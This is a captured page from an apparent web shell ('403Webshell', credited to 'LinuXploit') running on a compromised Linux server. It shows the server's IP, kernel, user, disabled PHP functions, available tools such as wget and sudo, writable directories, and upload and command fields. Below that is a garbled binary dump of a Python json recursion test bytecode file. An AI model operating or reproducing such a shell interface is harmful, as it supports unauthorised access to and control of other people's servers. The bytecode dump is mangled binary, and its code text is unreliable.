403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.248
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.10/test/test_json/__pycache__/test_recursion.cpython-310.pyc
o

�9j
�@s`ddlmZddlmZmZGdd�d�ZGdd�d�ZGdd�dee�ZGd	d
�d
ee�ZdS)�)�support)�PyTest�CTestc@�eZdZdS)�JSONTestObjectN��__name__�
__module__�__qualname__�rr�4/usr/lib/python3.10/test/test_json/test_recursion.pyrsrc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�
TestRecursioncCs�g}|�|�z|�|�Wn	tyYnw|�d�g}|g}|�|�z|�|�Wn	ty7Ynw|�d�g}||g}|�|�dS)Nz)didn't raise ValueError on list recursionz5didn't raise ValueError on alternating list recursion)�append�dumps�
ValueError�fail��self�x�yrrr�test_listrecursion
s(
�

�
z TestRecursion.test_listrecursioncCsTi}||d<z|�|�Wn	tyYnw|�d�i}||d�}|�|�dS)N�testz)didn't raise ValueError on dict recursion)�a�b)rrrrrrr�test_dictrecursion!s�

z TestRecursion.test_dictrecursioncCsdGdd�d|jj�}|�}|�|�t�d�d|_z|�t�Wn
ty*YdSw|�d�dS)Nc@seZdZdZdd�ZdS)zATestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoderFcSs&|tur|jr
tgSdS|jj�|�S)Nr)r�recurse�json�JSONEncoder�default�r�orrrr2s
zITestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoder.defaultN)rr	r
rrrrrr�RecursiveJSONEncoder0sr!z"JSONTestObject"Tz,didn't raise ValueError on default recursion)rr�assertEqual�encoderrrr)rr!�encrrr�test_defaultrecursion/s
�z#TestRecursion.test_defaultrecursionc	CsZ|�t��)t���|�ddddd�Wd�n1s"wYWd�n1s1wY|�t��)t���|�ddddd�Wd�n1sXwYWd�n1sgwY|�t��2t���|�ddddd�Wd�n1s�wYWd�dSWd�dS1s�wYdS)Nz{"a":順�1�}z[1]�[�])�assertRaises�RecursionErrorr�infinite_recursion�loads)rrrr�#test_highly_nested_objects_decodingEs&
���
���
��"�z1TestRecursion.test_highly_nested_objects_decodingc	Cs�gi}}td�D]
}|gd|i}}q	|�t��!t���
|�|�Wd�n1s.wYWd�n1s=wY|�t��*t���
|�|�Wd�n1s\wYWd�dSWd�dS1stwYdS)Nr&�k)�ranger+r,rr-r)r�l�drrrr�#test_highly_nested_objects_encodingRs 

���
��"�z1TestRecursion.test_highly_nested_objects_encodingc	Cs�Gdd�d|jj�}|�t��-t���|dd��d�Wd�n1s'wYWd�dSWd�dS1s?wYdS)Nc@seZdZdd�ZdS)z@TestRecursion.test_endless_recursion.<locals>.EndlessJSONEncodercSs|gS)z?If check_circular is False, this will keep adding another list.rrrrrraszHTestRecursion.test_endless_recursion.<locals>.EndlessJSONEncoder.defaultN)rr	r
rrrrr�EndlessJSONEncoder`sr5F)�check_circulary@)rrr+r,rr-r#)rr5rrr�test_endless_recursion^s
��"�z$TestRecursion.test_endless_recursionN)	rr	r
rrr%r/r4r7rrrrr
	s
r
c@r)�TestPyRecursionNrrrrrr8j�r8c@r)�TestCRecursionNrrrrrr:kr9r:N)	rr�test.test_jsonrrrr
r8r:rrrr�<module>sa

Youez - 2016 - github.com/yon3zu
LinuXploit